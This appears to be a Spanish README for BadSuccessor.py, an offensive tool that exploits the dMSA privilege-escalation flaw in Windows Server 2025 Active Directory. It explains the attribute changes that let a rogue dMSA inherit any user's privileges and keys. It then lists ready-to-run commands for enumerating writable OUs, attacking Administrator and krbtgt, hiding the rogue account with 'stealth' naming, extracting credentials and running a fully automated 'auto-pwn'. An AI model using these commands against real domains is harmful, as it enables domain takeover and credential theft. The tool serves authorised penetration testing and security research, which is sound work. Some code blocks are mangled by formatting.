BadSuccessor.py

Una herramienta de pruebas de penetración que explota la vulnerabilidad de escalada de privilegios dMSA (delegated Managed Service Account) en entornos de Active Directory de Windows Server 2025.

⚠️ Aviso legal

Esta herramienta está destinada únicamente a pruebas de penetración autorizadas y fines de investigación de seguridad. El uso de esta herramienta contra sistemas sin permiso explícito por escrito es ilegal y poco ético. Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta.

⚠️ Estado de desarrollo y aviso sobre pruebas en entornos variables

IMPORTANTE: Esta herramienta está en desarrollo y pruebas activas.

Estado actual

• Adopción de Windows Server 2025: A mayo de 2025, Windows Server 2025 todavía se encuentra en una fase temprana de adopción con implementaciones de producción limitadas
• Variaciones del entorno: Debido al número limitado de entornos Windows Server 2025 disponibles para pruebas, esta herramienta puede encontrar configuraciones no probadas
• Desarrollo continuo: Estamos refinando activamente la herramienta a medida que se implementan y prueban más variaciones del entorno

Qué significa esto

• Espere actualizaciones: La herramienta recibirá actualizaciones frecuentes a medida que se prueben nuevos tipos de entorno
• Reporte problemas: Sus comentarios son cruciales: informe cualquier problema o caso límite que encuentre
• Pruebe con cuidado: Pruebe siempre primero en un entorno que no sea de producción
• Variaciones de esquema: Diferentes compilaciones de Windows Server 2025 pueden implementar los atributos dMSA de manera distinta
• Estabilidad de funciones: Aunque la funcionalidad principal es estable, algunas funciones pueden requerir ajustes para entornos específicos

Variables conocidas bajo seguimiento

• Diferentes versiones de compilación de Windows Server 2025
• Convenciones de nombres de atributos de esquema
• Implementaciones regionales/localizadas de AD
• Configuraciones híbridas en la nube
• Varios niveles funcionales de AD
• Diferentes configuraciones de endurecimiento de seguridad

Pruebas comunitarias

Animamos a la comunidad de seguridad a:

• Probar en entornos diversos
• Compartir hallazgos (anonimizados)
• Enviar solicitudes de incorporación de cambios para mejoras de compatibilidad
• Reportar variaciones del entorno

Al usar esta herramienta, usted reconoce que está en desarrollo activo y puede requerir modificaciones para su entorno específico.

📋 Descripción general

BadSuccessor explota una vulnerabilidad de escalada de privilegios en la función de Managed Service Account delegado (dMSA) de Windows Server 2025. La vulnerabilidad permite a atacantes con permisos mínimos escalar privilegios a cualquier usuario del dominio, incluidos los administradores de dominio.

Crédito de la investigación

Esta herramienta se basa en la excelente investigación de Yuval Gordon, de Akamai Technologies:

• BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory

🎯 Detalles de la vulnerabilidad

La vulnerabilidad existe en el proceso de migración de dMSA, donde:

1. Un atacante crea un dMSA malicioso en cualquier OU con permisos de escritura
2. Establece msDS-ManagedAccountPrecededByLink o ms-DS-Managed-Account-Preceded-By-Link para apuntar a un usuario objetivo
3. Establece msDS-DelegatedMSAState o ms-DS-Delegated-MSA-State en 2 (migración completada)
4. El KDC otorga automáticamente al dMSA todos los privilegios del usuario objetivo mediante la herencia de PAC

Además, la estructura KERB-DMSA-KEY-PACKAGE contiene las claves de contraseña del usuario objetivo, lo que permite la extracción de credenciales.

✅ Requisitos previos

Requisitos del sistema

• Máquina Linux (sin unirse al dominio)
• Python 3.6+
• Acceso de red al entorno de Active Directory objetivo
• El dominio objetivo debe tener al menos un controlador de dominio con Windows Server 2025

Dependencias de Python```bash

pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0

**Nota**: La herramienta ha sido probada con impacket 0.12.0. Las advertencias de compatibilidad de versión se muestran en tiempo de ejecución.

### Dependencias Opcionales```bash
# For DNS discovery
pip3 install dnspython

# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2

# RHEL/CentOS/Fedora
sudo yum install krb5-devel

Permisos requeridos

• Credenciales de dominio válidas (cualquier cuenta de usuario)
• CUALQUIERA de los siguientes permisos en al menos una Unidad Organizativa:
  • permiso CreateChild
  • permiso Write
  • permiso GenericWrite
  • permiso GenericAll
  • Miembro de los grupos predeterminados con acceso de escritura (p. ej., Usuarios autenticados)
• La herramienta descubre automáticamente todas las UO con permiso de escritura y muestra los permisos específicos

🚀 Instalación```bash

git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py

### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

📖 Uso

Sintaxis básica```bash

python3 badsuccessor.py -d -u -p [options]

### Ejemplos de inicio rápido

#### 1. Modo de prueba en seco (NUEVO) - Prueba sin realizar cambios```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator

# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

2. Enumerar el entorno```bash

Check Windows Server 2025 schema support

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema

Find ALL writable OUs with detailed permissions

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate

List high-value targets

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets

Validate specific target account

python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

#### 3. Realizar el ataque```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

4. Extraer credenciales```bash

Extract credentials for multiple users

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql

Auto-pwn mode (fully automated)

python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

#### 5. Gestión de Sesiones (NUEVO)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions

# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234

# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID